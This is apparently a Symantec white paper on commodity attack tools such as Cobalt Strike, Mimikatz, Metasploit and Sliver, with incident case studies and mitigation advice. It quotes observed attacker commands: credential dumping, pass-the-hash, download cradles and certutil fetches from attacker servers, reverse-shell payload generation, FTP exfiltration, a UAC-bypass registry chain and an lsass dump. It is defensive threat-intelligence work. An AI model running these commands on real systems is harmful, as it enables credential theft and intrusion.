Symantec
by Broadcom Software

WHITE PAPER

# COMMODITY MALWARE

## The Role of Off-the-shelf Tools in Today’s Threat Landscape

By Symantec Threat Hunter Team

WHITE PAPER

# COMMODITY MALWARE

## The Role of Off-the-shelf Tools in Today's Threat Landscape

Symantec by Broadcom Software

CONTENTS

Over the past number of years a small number of malicious tools have become almost ubiquitous in targeted intrusions. All are publicly available but, unlike the original threats that the term commodity malware was coined for, this generation of malware is far more powerful and customizable.

Most of today's commodity malware shares a common thread. Virtually all of these tools were ostensibly created for legitimate reasons, either as penetration testing tools or proof-of-concepts. However, malicious usage of these tools has exploded in recent years and vastly outweighs legitimate use.

### Commodity Malware or Dual-Use Tool?

We have defined commodity malware as publicly available tools that can either be bought or obtained from either open-source repositories or by downloading cracked versions of commercial tools.

While most of the commodity malware discussed in this paper does have a legitimate usage, it differs from dual-use tools in two respects. Firstly, even the legitimate use case is to mimic malicious behavior. Secondly, unlike many dual-use tools, malicious usage of commodity malware accounts for the vast majority of usage.

### Why do Attackers use it?

There was a time when the use of custom developed tools was seen as the hallmark of skilled attackers, whereas commodity malware was considered the preserve of those who didn't have the ability to create their own.

This shift in usage has occurred for a number of reasons, most notably because of the powerful functionality now available. Many tools are professionally developed, continuously updated, and economies of scale mean that they benefit from much more developer time than even a well-resourced attacker can devote to development.

Secondly, their use makes attribution of attacks more difficult. Attackers now tend to reserve custom malware for tasks that can't be performed by commodity, dual-use, or living-off-the-land tools. For example, if an organization discovers a tool such as Cobalt Strike on their network, that alone will tell little about who is behind the attack and, more importantly, what their motive is.

## Which Threat Actors Use Commodity Malware?

Commodity malware has been embraced by a wide array of threat actors, ranging from cyber-crime groups to state-sponsored attackers. It is most frequently used in espionage attacks and targeted ransomware attacks. Although the motive and the actors behind both differ vastly, the tools, tactics, and procedures (TTPs) involved are very similar, involving steps such as credential theft, privilege escalation, lateral movement, and data exfiltration.

# Cobalt Strike

Cobalt Strike is marketed and sold as a penetration testing toolkit. It allows the end-user to create a range of different types of tools, which are intended to emulate what capable attackers can do.

Although Cobalt Strike can be used for red team/penetration testing, malicious usage is running rampant. The overwhelming majority of incidents involving Cobalt Strike that Symantec's Threat Hunter Team has investigated were malicious.

Cobalt Strike is now widely used in targeted attacks, by both cyber-crime and espionage actors. It is by far the most widely abused commercially available malware that Symantec's Threat Hunter Team encounters in its investigations. For example, between April and December 2021, Cobalt Strike was used in at least 26% of all ransomware attacks where precursor tools were uncovered.

**Cobalt Strike is now widely used in targeted attacks, by both cyber-crime and espionage actors. It is by far the most widely abused commercially available malware that Symantec's Threat Hunter Team encounters in its investigations.**

Cobalt Strike appeals to attackers for several reasons. It is professionally developed software which is continually updated. A toolset rather than tool, it has a wide range of functionality, allowing the attacker to customize tools for a variety of use-cases.

Cobalt Strike Beacon is the most frequently used module, a customizable, multi-purpose payload. It has a range of features that are useful to attackers such as the ability to execute PowerShell scripts, log keystrokes, take screenshots, downloads files, and install other payloads.

However, Beacon's main appeal is its stealthiness. The payload itself runs in-memory, meaning it never writes anything to the disk. More importantly, it is highly configurable, meaning it is relatively trivial for an attacker to create a hitherto unseen variant that may not be detected by file-hash based detection technologies. Even if employing new obfuscation techniques does not work, attackers also have the option of attempting to abuse a whitelisted application such as PowerShell in order to load Beacon into memory.

In addition to this, it also has features that allow the attacker to modify the command-and-control (C&C) communications of Beacon to mimic traffic associated with legitimate applications on the victim's environment.

## How Cobalt Strike is Used in Ransomware Attacks

Cobalt Strike has been used by a wide range of ransomware actors and is frequently seen deployed alongside other publicly available tools and legitimate software in the attack chain that leads from the initial intrusion to ransomware deployment. It plays a key role in the process that usually progresses from credential theft, to privilege escalation, lateral movement, data exfiltration, deletion of backups, and finally ransomware execution. In many cases, it may to be the only malware deployed in the attack beyond the ransomware itself, with the attackers relying on the ability to compile new, hitherto unseen variants of Cobalt Strike to lower the risk of detection.

Cobalt Strike is something of a Swiss Army knife for ransomware actors, with functionality that can provide vital links in the attack chain where living-off-the-land or legitimate tools fall short, such as allowing the attackers to communicate with infected computers, run commands, install other tools, and inject into processes, amongst other features.

**Cobalt Strike is something of a Swiss Army knife for ransomware actors, with functionality that can provide vital links in the attack chain where living-off-the-land or legitimate tools fall short.**

For example, during September 2021, the Threat Hunter Team investigated a series of attacks directed at Microsoft Exchange Servers. In each case, the attack was halted before a payload was executed, but the TTPs used by the attackers closely matched publicly reported TTPs associated with the Conti ransomware operation at that time.

In all cases, Cobalt Strike was used in conjunction with a number of legitimate remote desktop tools. For example, in one organization, the first evidence of malicious activity was when an MSI file was used to install the ScreenConnect (now known as ConnectWise) remote control software. ScreenConnect was in turn used to deliver both Cobalt Strike Beacon and SoftPerfect Network Scanner, a publicly available tool used for the discovery of hostnames and network services. Cobalt Strike Injector was then deployed before Cobalt Strike was used to execute SoftPerfect Network Scanner.

The attackers also used an MSI file to install the Atera Agent remote control software, which in turn was used to install the Splashtop remote desktop client. In some cases, Splashtop was also used to install Cobalt Strike on computers.

The attackers then used AdFind and a BAT script to run AdFind queries. They then deployed rclone.exe and a BAT script to run the open-source rclone tool to exfiltrate data to the Mega cloud storage service.

## SolarWinds: Cobalt Strike Usage in Espionage Attacks

Generally speaking, state-sponsored attackers, particularly the more technically adept and well-resourced groups tend to eschew off-the-shelf malware and instead rely on their own custom-built tools. However, while custom toolsets still play a valuable role in the arsenal of espionage actors, commodity tool usage has increasingly figured in espionage attacks.

Opting for Cobalt Strike over a custom-build alternative makes attribution of attacks more difficult. If a piece of malware is used by an array of cybercrime and espionage attackers associated with various states, it is of little use in generating evidence of where that attack originated from.

A good example of how Cobalt Strike is leveraged by even the most capable espionage attackers is the SolarWinds attacks, one of the most ambitious and wide-ranging espionage attacks uncovered in recent years.

The attack was attributed to the Russia-based Fritillary espionage group (aka APT29, Cozy Bear). The U.S. government has said that Fritillary is part of the Russian Foreign Intelligence Service (SVR).

The attackers compromised the update mechanism for SolarWinds Orion, infrastructure monitoring and management software that is widely used by large enterprises. This allowed them to deliver a backdoor Trojan known as Sunburst (Backdoor.Sunburst) to any Orion user who downloaded an update to the software during a nine-month period.

This software supply chain attack provided the attackers with a foothold on to the networks of an estimated 18,000 organizations worldwide. However, only a small subset of organizations were selected for further malicious activity, suggesting that these were organizations of interest to the attackers and that the vast majority of victims were collateral damage from a wide scale trawl.

In these targeted organizations, additional pieces of custom malware known as Teardrop (Backdoor.Teardrop) and Raindrop (Backdoor.Raindrop) were deployed, but each was used to deliver the final payload for these attacks – Cobalt Strike.

Teardrop was a DLL file that extracted an embedded copy of Cobalt Strike Beacon and executed it. Cobalt Strike then connected to a C&C server, allowing the attackers to issue commands.

Raindrop was quite similar in functionality, designed to act as a loader for Cobalt Strike Beacon. The main difference between the two tools appears to be use case. While Teardrop was delivered by the initial Sunburst backdoor, Raindrop appears to have been used for spreading across the victim's network.

What is noteworthy about the SolarWinds attack is that while the attackers clearly had the resources and the skill to write the custom malware needed to carry out a software supply chain attack, they were content to rely on Cobalt Strike as their ultimate payload in what must have been a risky and resource intensive operation.

While the attackers did employ custom malware, none of the tools used had been seen before nor attributed to the group, meaning that the attribution difficulties provided by Cobalt Strike remained intact.

## Mimikatz

Mimikatz is currently one of the most widely used pieces of commodity malware. While it has a range of functions, its primary use is for credential dumping. Credential theft is one of the key steps in most targeted attacks, providing the attackers with the means to elevate their privileges and open doors to other systems.

Mimikatz was originally created and released as a proof-of-concept, ostensibly to demonstrate shortcomings in how Windows handles passwords. That proof was so successful that the tool was adopted by a wide range of attackers. Over the past five years, usage of Mimikatz has exploded, with the tool being used by both cyber-crime groups and state-sponsored actors.

Mimikatz is open-source and publicly available. It continues to be developed, with the most recent version being released in August 2021. In addition to this, attackers have created multiple, custom versions of Mimikatz for their own purposes. It has also been integrated into a number of different frameworks and toolsets such as Metasploit, PowerShell Empire, and Cobalt Strike.

Mimikatz was originally developed to target a Windows feature known as WDigest, which stored both encrypted credentials and the key to decrypt them in-memory. Its purpose is to make it easier for users to log in to multiple applications, saving them from having to re-enter their credentials repeatedly.

Mimikatz allowed an attacker to “dump” the encrypted credentials and the decryption key from the system’s memory. While security around WDigest has been progressively improved in recent years, Mimikatz has been constantly updated to keep pace and has steadily incorporated additional features, meaning it is still a valuable tool for attackers.

## Mimikatz Use in Ransomware Attacks

**While a range of credential-stealing tools are used by ransomware groups, Mimikatz is the most commonly employed.**

Credential theft is one of the key components in targeted ransomware attacks, providing the attackers with the means to move across victim networks and encrypt large numbers of computers. While a range of credential-stealing tools are used by ransomware groups, Mimikatz is the most commonly employed.

A recent attack involving the AvosLocker ransomware against a large organization saw the attackers gain initial access to the organization by compromising two Exchange Servers. While the vector was undiscovered, the route suggest the exploitation of unpatched vulnerabilities. The attackers then installed web shells in non-standard folders, likely for remote code execution.

The attackers also appear to have used the SoftEther VPN for malicious purposes. The file was renamed “systemresetosupdate.exe” and found on both compromised Exchange Servers.

The attackers then used Mimikatz to steal credentials. At least three different variants of Mimiktaz were used, all with different file names.

The first, thunder.exe (SHA256: 6d6f228a45ab12c16ea40df2bf5e3b90a4c965c170225f6cbae6a1af95ce7957), executed the following commands:

```
thunder.exe “lsadump::dcsync /all /csv” “exit”

thunder.exe “privilege::debug” “sekurlsa::logonpasswords” “exit”
```

The second variant, fccc.exe (SHA256: 6ab27f0f50963d9656c3b5fa57553ad7247201740a96b24b34fcc02be78c43bb), executed the following command:

```
fccc.exe “privilege::debug” “sekurlsa::logonpasswords” “exit”
```

The third variant, mimikatz.exe (SHA256: 7a3a00796caebdd1e5d80cc330ea232e62fecefc264492892c3ff93f15c977a2), was used to execute the following command:

```
mimikatz.exe “privilege::debug” “sekurlsa::pth /user:[REDACTED] /
domain: [REDACTED]
/ntlm: [REDACTED]”
```

At least one more Mimiktaz command was executed during the attack, but the specific variant executing it was not found. The pipe to Admin$ suggests Mimikatz may have been called via a tool that uses Impacket.

```
cmd.exe /Q /c backup.exe “lsadump::dcsync /all /csv”
“exit” > CSIDL_COMMON_APPDATA\vm\backup.log 1> \\127.0.0.1\
ADMIN$__1637633225.0341148 2>&1
```

Another credential-dumping tool, secretsdump.exe (SHA256: c3405d9c9d593d75d773c0615254e69d0362954384058ee970a3ec0944519c37), was found on the target’s network but did not appear to have been executed during the attack.

Credential theft facilitated lateral movement, the main tool used for which being the legitimate remote desktop tool AnyDesk. The attackers used w3wp.exe (suggesting they ran an exploit on a web server or an application running on it), cmd.exe, and PowerShell to install the program:

```
CSIDL_SYSTEM_DRIVE\anydesk.exe --install “CSIDL_PROGRAM_FILES\anydesk” --start-with-win --silent
```

The actors also appear to have used Certutil to download their own cert files from their own tools server.

```
certutil.exe -urlcache -f hxxp://108.61.163[.]5:9898/certs/server.key server.key

certutil.exe -urlcache -f hxxp://108.61.163[.]5:9898/certs/server.crt server.crt

certutil.exe -urlcache -f hxxp://108.61.163[.]5:9898/certs/trusted/ca.crt ca.crt

certutil.exe -urlcache -f hxxp://108.61.163[.]5:9898/certs/dh4096.pem dh4096.pem

certutil.exe -urlcache -f hxxp://108.61.163[.]5:9898/certs/certificate.crt certificate.crt
```

## Metasploit

Metasploit is a professionally developed penetration testing tool. While it is commercially available, there is also a publicly available, open-source version available known as the Metasploit Framework.

Like most penetration testing tools, the Framework is modular in nature and allows the user to choose an exploit to use against a targeted system and a payload to deliver to that system. There are currently more than 500 payloads available.

**Metasploit is not used as frequently as other tools such as Cobalt Strike. In cases where it has been deployed, it is often used to deliver a reverse shell payload.**

### Using Metasploit to Create a Reverse Shell

Metasploit is not used as frequently as other tools such as Cobalt Strike. In cases where it has been deployed, it is often used to deliver a reverse shell payload. This was seen in our 2018 investigation of the Gallmaker group.

More recently, Metasploit was used by Harvester, an espionage group uncovered by Threat Hunter in October 2021. Again, it was leveraged to deliver a TCP reverse shell payload, which allows the infected computer to initiate a remote shell connection back to the attacker, allowing the attacker to issue commands to the infected machine. By reversing the connection and having the infected computer rather than the attacker initiating the connection, there is less likelihood of it being blocked by a firewall.

In Harvester’s attacks, two TCP reverse shell payloads were used. The first (SHA256: d84a9f7b1d70d83bd3519c4f2c108af93b307e8f7457e72e61f3fa7eb03a5f0d) was used with the following options:

```
use payload/windows/shell/reverse_tcp

set EXITFUNC none

set LHOST [REDACTED}

set LPORT 4444

generate -f exe -o OUTPUT_PE
```

The second payload (SHA256: f4a77e9970d53fe7467bdd963e8d-1ce44a2d74e3e4262cd55bb67e7b3001c989) was a 64-bit version and was used with the following options:

```
use payload/windows/x64/shell/reverse_tcp

set EXITFUNC process

set LHOST [REDACTED}

set LPORT 4444

generate -f exe -o OUTPUT_PE
```

Metasploit was used along with Cobalt Strike Beacon by the attackers who also deployed a range of custom-built malware including the Graphon backdoor (Backdoor.Graphon) and a custom screenshotting tool.

## PowerShell Empire

PowerShell Empire was originally created as a penetration testing framework. At a time when a growing number of attackers were beginning to become aware of the capabilities of PowerShell and incorporate it into their attacks, PowerShell Empire could mimic multiple attacker behaviors. An open-source project, it was quickly taken up by a number of attack groups, mostly likely because of its ease of use and the fact that it didn't have to run powershell.exe, potentially bypassing any PowerShell-based security measures.

Official development of the framework ceased in 2019. However, multiple variants of the framework continue to exist.

### PowerShell Empire's Use in Targeted Attacks

Elfin (aka APT33), an Iran linked espionage actor has utilized PowerShell heavily in recent years. In one 2018 attack on a U.S. organization, malicious activity began at 16:45 on February 12 when an email was sent to the organization advertising a job vacancy at an American global service provider. The email contained a malicious link to hxxp://mynetwork.ddns[DOT].net:880.

The recipient clicked the link and proceeded to download and open a malicious HTML executable file, which in turn loaded content from a C&C server via an embedded iframe. At the same time, code embedded within this file also executed a PowerShell command to download and execute a copy of chfeeds.vbe from the C&C server:

```
[System.Net.ServicePointManager]::ServerCertificateValidation-
Callback={$true};IEX(New-Object Net.WebClient).DownloadString(‘hx
xps://217.147.168[.]46:8088/index.jpg’);
```

A JavaScript command was also executed, which created a scheduled task to execute chfeeds.vbe multiple times a day:

```
a.run(‘%windir%\\System32\\cmd.exe /c PowerShell -window hidden
schtasks.exe /CREATE /SC DAILY /TN “1” /TR “C:\\Users\\[REDACTED]\\
AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe” /ST 01:00 /f &&
schtasks.exe /CREATE /SC DAILY /TN “3” /TR “C:\\Users\\[REDACTED]\\
AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe” /ST 03:00 /f &&
schtasks.exe /CREATE /SC DAILY /TN “5” /TR “C:\\Users\\[REDACTED]\\
AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe” /ST 05:00 /f &&
schtasks.exe /CREATE /SC DAILY /TN “7” /TR “C:\\Users\\[REDACTED]\\
AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe” /ST 07:00 /f &&
schtasks.exe /CREATE /SC DAILY /TN “9” /TR “C:\\Users\\[REDACTED]\\
AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe” /ST 09:00 /f &&
schtasks.exe /CREATE /SC DAILY /TN “11” /TR “C:\\Users\\[REDACTED]\\
AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe” /ST 11:00 /f &&
schtasks.exe /CREATE /SC DAILY /TN “13” /TR “C:\\Users\\[REDACTED]\\
AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe” /ST 13:00 /f &&
schtasks.exe /CREATE /SC DAILY /TN “15” /TR “C:\\Users\\[REDACTED]\\
AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe” /ST 15:00 /f &&
schtasks.exe /CREATE /SC DAILY /TN “17” /TR “C:\\Users\\[REDACTED]\\
AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe” /ST 17:00 /f &&
schtasks.exe /CREATE /SC DAILY /TN “19” /TR “C:\\Users\\[REDACTED]\\
AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe” /ST 19:00 /f &&
schtasks.exe /CREATE /SC DAILY /TN “21” /TR “C:\\Users\\[REDACTED]\\
AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe” /ST 21:00 /f &&
schtasks.exe /CREATE /SC DAILY /TN “23” /TR “C:\\Users\\[REDACTED]\\
AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe” /ST 23:00 /f ‘)
```

The chfeeds.vbe file acted as a downloader and was used to download a second PowerShell script (registry.ps1). This script in turn downloaded and executed a PowerShell backdoor known as POSHC2, a proxy-aware C&C framework, from the C&C server (hxxps:// host-manager.hopto.org). Later at 20:57, the attackers became active on the compromised machine and proceeded to download the archiving tool WinRAR:

```
89.34.237.118    808    hxxp://89.34.237[DOT]118:808/Rar32.exe
```

At 23:29, the attackers proceeded to deploy an updated version of their POSHC2 stager:

```
192.119.15.35    880    hxxp://mynetwork.ddns[DOT]net:880/st-36-p4578.
ps1
```

This tool was downloaded several times between February 12 and February 13.

On February 14, the attackers returned and installed Quasar RAT onto the infected computer that communicated with a C&C server (217.147.168.123). Quasar RAT was installed to CSIDL_PROFILE\appdata\roaming\microsoft\crypto\smss.exe.

At this point, the attackers ceased activity while maintaining access to the network until February 21. Then the attackers were observed downloading a custom .NET FTP tool to the infected computer:

```
192.119.15.36    880    hxxp://192.119.15[DOT]36:880/ftp.exe
```

Later the attackers exfiltrated data using this FTP tool to a remote host:

```
JsuObf.exe Nup#Tntcommand -s CSIDL_PROFILE\appdata\roaming\adobe\
rar -a ftp://89.34.237.118:2020 -f /[REDACTED] -u [REDACTED] -p
[REDACTED]
```

Activity ceased until the attackers returned on March 5 and were observed using Quasar RAT to download a second custom AutoIt FTP exfiltration tool known as FastUploader from hxxp://192.119.15[DOT]36:880/ftp.exe.

This tool was then installed to csidl_profile\appdata\roaming\adobe\ftp.exe. FastUploader is a custom FTP tool designed to exfiltrate data at a faster rate than traditional FTP clients.

At this point, additional activity from the attackers continued between March 5 into April, and on April 18, a second remote access tool known as Dark-

Comet was deployed to csidl_profile\appdata\roaming\microsoft\windows\start menu\programs\startup\smss.exe on the infected computer.

This was quickly followed 15 seconds later by the installation of a credential-dumping tool to csidl_profile\appdata\roaming\microsoft\credentials\dwm32.exe, and the execution of PowerShell commands via PowerShell Empire. PowerShell Empire was presumably deployed to bypass logging on the infected machine.

Activity continued throughout April where additional versions of DarkComet, POSHC2 implants, and an AutoIt backdoor were deployed along with further credential-dumping activities.

## LaZagne

LaZagne is a publicly available, open-source tool designed to retrieve passwords from multiple applications. Since applications may use different ways to store passwords, LaZagne uses multiple techniques for retrieving passwords, including some of the functionality of Mimikatz. Versions of LaZagne exist for Windows, Linux, and macOS.

Although not as frequently seen as Mimikatz, LaZagne has been used by a diverse range of threat actors in recent years, including the Iran-linked Seedworm espionage group and a number of prolific ransomware operations, such as Ryuk, Conti, and Sodinokibi (aka REvil).

### LaZagne Usage in Sodinokibi Attack

Sodinokibi was a ransomware-as-a-service operation that was run by the Leafroller cyber-crime group. Until its shutdown in October 2021, it was one of the most active targeted ransomware families, responsible for high-profile incidents such as the attack on Travelex and the Kaseya supply chain attack.

During a June 2021 attack against a U.S. organization, attackers using the Sodinokibi ransomware deployed a number of credential-dumping tools during the early stages of the attack.

The first evidence of malicious activity was on a domain controller that was running RDP. There were multiple RDP password attempts against the machine. A number of tools were then copied into the perflogs folder, including Mimikatz; SoftPerfect Network Scanner (netscan.exe), a publicly available tool used for discovery of hostnames and network services; and Defender Control, another publicly available tool that allows the user to turn off Windows Defender.

**LaZagne was also presumably among the tools copied because it was subsequently executed and used to dump passwords. Why LaZagne was deployed along with Mimikatz remains unknown.**

LaZagne was also presumably among the tools copied because it was subsequently executed and used to dump passwords. Why LaZagne was deployed along with Mimikatz remains unknown. The attackers may have wished to avail of its additional functionality or both could have been installed in order to provide a quick alternative if the other didn’t work or was detected.

Further tools were then extracted from a file called addins.exe. These included Total Software Deployment, a legitimate tool designed to deploy software across a network; Dameware Remote Everywhere, a remote desktop tool; and an unknown file called pc_grabber3.exe.

The attackers obviously obtained the means to move laterally across the network because three days later an MSI file was copied to this original computer and a number of other computers on the network. This file was an installer for the ScreenConnect (now known as ConnectWise) remote control software.

After obtaining access to multiple computers on the network, the attackers then proceeded to deliver the ransomware payload.

## Sliver

Sliver is an open-source cross-platform adversary emulation framework. Versions exist for Windows, macOS, and Linux. Like its better-known peers, Sliver has a range of functionality designed to emulate various different kinds of attack types and payloads.

As awareness of tools such as Cobalt Strike begins to grow, attackers may be looking to alternative, less frequently used frameworks in order to lower their risk of detection.

### Use of Sliver in Pre-ransomware Activity

In October 2021, Symantec uncovered an unknown actor using a consistent set of TTPs to attack multiple organizations.

**Sliver is an open-source cross-platform adversary emulation framework. Versions exist for Windows, macOS, and Linux.**

The goal of the campaign appears to be to gain access to networks, establish persistence, and steal credentials, either for deployment of a payload at a later date or for sale to other actors, such as ransomware groups.

The first evidence of compromise was an HTTP Stager, which usually executed with an Entrypoint export. This then downloaded a second-stage payload, which was usually a DLL masquerading as an OCX file. A scheduled task was then created to execute the OCX file every minute:

```
“CSIDL_SYSTEM\schtasks.exe” /Create /SC MINUTE /MO 1 /TN <4-CHAR-SER-
VICENAME> /TR “%windir%\system32\regsvr32.exe -e <4-CHAR-SERVICEN-
AME>.ocx”
```

In some targets, the Connected Devices Platform service was observed being started:

```
CSIDL_SYSTEM\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
```

In a number of targets, the Fodhelper UAC bypass was attempted.

Sliver was used in attacks against a number of organizations. In one case, it was used to deliver the following .NET commands:

```
“CSIDL_SYSTEM\net.exe” group [REDACTED]/domain (process lineage:C-
SIDL_SYSTEM\windowspowershell\v1.0\powershell.exe,CSIDL_COMMON_
APPDATA\e77456c9297840559b53c4ded86d2b68\wkytcqoqgqs.exe,CSIDL_WIN-
DOWS\explorer.exe,CSIDL_SYSTEM\svchost.exe,CSIDL_SYSTEM\services.
exe,CSIDL_SYSTEM\wininit.exe)

“CSIDL_SYSTEM\net.exe” user

“CSIDL_SYSTEM\net.exe” localgroup <14,0CFB6DE3>

“CSIDL_SYSTEM\net.exe” use
```

In an attack against another organization, Sliver was executed with the following command:

```
“CSIDL_COMMON_APPDATA\e77456c9297840559b53c4ded86d2b68\wqghtddxpor.
exe
```

The following commands were used by Sliver in attempts to exploit the UAC bypass and steal credentials:

```
reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve
/d “reg.exe save hklm\sam c:\ProgramData\sam.save” /f

reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v
“DelegateExecute” /f

“CSIDL_COMMON_APPDATA\e77456c9297840559b53c4ded86d2b68\wqghtddxpor.
exe

“reg.exe” save hklm\sam CSIDL_COMMON_APPDATA\sam.save

reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve
/d “reg.exe save hklm\security c:\ProgramData\security.save” /f

“reg.exe” save hklm\sam CSIDL_COMMON_APPDATA\sam.save

“reg.exe” save hklm\security CSIDL_COMMON_APPDATA\security.save

reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve
/d “reg.exe save hklm\system c:\ProgramData\system.save” /f

“reg.exe” save hklm\security CSIDL_COMMON_APPDATA\security.save

“reg.exe” save hklm\system CSIDL_COMMON_APPDATA\system.save

“reg.exe” save hklm\system CSIDL_COMMON_APPDATA\system.save

“CSIDL_COMMON_APPDATA\e77456c9297840559b53c4ded86d2b68\wqghtddxpor.
exe”

“CSIDL_COMMON_APPDATA\e77456c9297840559b53c4ded86d2b68\wqghtddxpor.
exe”

“CSIDL_COMMON_APPDATA\procdump.exe” -accepteula -ma lsass.exe CSIDL_
COMMON_APPDATA\lsass.dmp
```

## Conclusion

Commodity malware is now a core part of the toolkit for threat actors ranging from ransomware gangs to state-sponsored espionage groups. Powerful functionality and the ability to customize tools, combined with difficulty of attribution are obvious appeals.

While protection and mitigation against the use of commodity tools is improving all the time, because most tools are continuously developed by either professional developers or the open-source community, it does mean that defenders will remain in an arms race with attackers for some time to come.

## Mitigation

Commodity malware is most frequently used in targeted attacks. Symantec recommends customers observe the following best practices to protect against targeted attacks.

### Local Environment:

- Monitor the use of dual-use tools inside your network.
- Ensure you have the latest version of PowerShell and you have logging enabled.
- Restrict access to RDP Services. Only allow RDP from specific known IP addresses and ensure you are using multi-factor authentication (MFA).
- Implement proper audit and control of administrative account usage. You could also implement one-time credentials for administrative work to help prevent theft and misuse of admin credentials.
- Create profiles of usage for admin tools. Many of these tools are used by attackers to move laterally undetected through a network.
- Use application whitelisting where applicable.
- Locking down PowerShell can increase security, for example with the constrained language mode.
- Make credential dumping more difficult, for example by enabling Credential Guard in Windows 10 or disabling SeDebugPrivilege.
- MFA can help limit the usefulness of compromised credentials.
- Create a plan to consider notification of outside parties. In order to ensure correct notification of required organizations, such as the FBI or other law enforcement authorities/agencies, be sure to have a plan in place to verify.
- Create a "jump bag" with hard copies and archived soft copies of all critical administrative information. In order to protect against the compromise of the availability of this critical information, store it in a jump bag with hardware and software needed to troubleshoot problems. Storing this information on the network is not helpful when network files are encrypted.

### Email:

- Enable MFA to prevent the compromise of credentials during phishing attacks.
- Harden security architecture around email systems to minimize the amount of spam that reaches end-user inboxes and ensure you are following best practices for your email system, including the use of SPF and other defensive measures against phishing attacks.

### Backup

- Implement offsite storage of backup copies. Arrange for offsite storage of at least four weeks of weekly full and daily incremental backups.
- Implement offline backups that are onsite. Make sure you have backups that are not connected to the network to prevent them from being encrypted by ransomware.
- Verify and test your server-level backup solution. This should already be part of your Disaster Recovery process.
- Secure the file-level permissions for backups and backup databases. Don't let your backups get encrypted.
- Test restore capability. Ensure restore capabilities support the needs of the business.

## Protection

### How Symantec Solutions Can Help

Symantec, a division of Broadcom, provides a comprehensive portfolio of security solutions to address today's security challenges and protect data and digital infrastructure from multifaceted threats. These solutions include core capabilities designed to help organizations prevent and detect advanced attacks.

### Symantec Endpoint Security Complete

Symantec Endpoint Security Complete (SESC) was specifically created to help protect against advanced attacks. While many vendors offer EDR to help find intrusions, there are gaps. We call these gaps blind spots and there are technologies in SESC to eliminate them.
LEARN MORE

### Privileged Access Management (PAM)

PAM is designed to prevent security breaches by protecting sensitive administrative credentials, controlling privileged user access, proactively enforcing security policies and monitoring and recording privileged user activity.
LEARN MORE

## Symantec Web Isolation

Symantec Web Isolation eliminates web threats and solves the challenge of providing access to unknown, uncategorized and potentially risky web sites by creating a remote execution environment between an agency's enterprise systems and content servers on the web.
LEARN MORE

## Symantec Secure Web Gateway (SWG)

SWG delivers high-performance on-premises or cloud secure web gateway that organizations can leverage to control or block access to unknown, uncategorized, or high-risk web sites.
LEARN MORE

## Symantec Intelligence Services

Symantec Intelligence Services leverages the Symantec Global Intelligence Network to deliver real-time threat intelligence to several Symantec network security solutions including Symantec Secure Web Gateway, Symantec Content Analysis, Symantec Security Analytics, and more.
LEARN MORE

## Symantec Content Analysis with Advanced Sandboxing

Within the Symantec Content Analysis platform, zero-day threats are automatically escalated and brokered to Symantec Malware Analysis with dynamic sandboxing for deep inspection and behavioral analysis of potential APT files and toolkits.
LEARN MORE

## Symantec Security Analytics

Symantec Security Analytics delivers enriched, full-packet capture for full network traffic analysis, advanced network forensics, anomaly detection, and real-time content inspection for all network traffic to arm incident responders for quick resolution.
LEARN MORE

About Us
Broadcom Software is one of the world's leading enterprise software companies, modernizing, optimizing, and protecting the world's most complex hybrid environments. With its engineering-centered culture, Broadcom Software is building a comprehensive portfolio of industry-leading infrastructure and security software, including AIOps, Cybersecurity, Value Stream Management, DevOps, Mainframe, and Payment Security. Our software portfolio enables innovation, agility, and security for the largest global companies in the world.

For more information, visit our website at: software.broadcom.com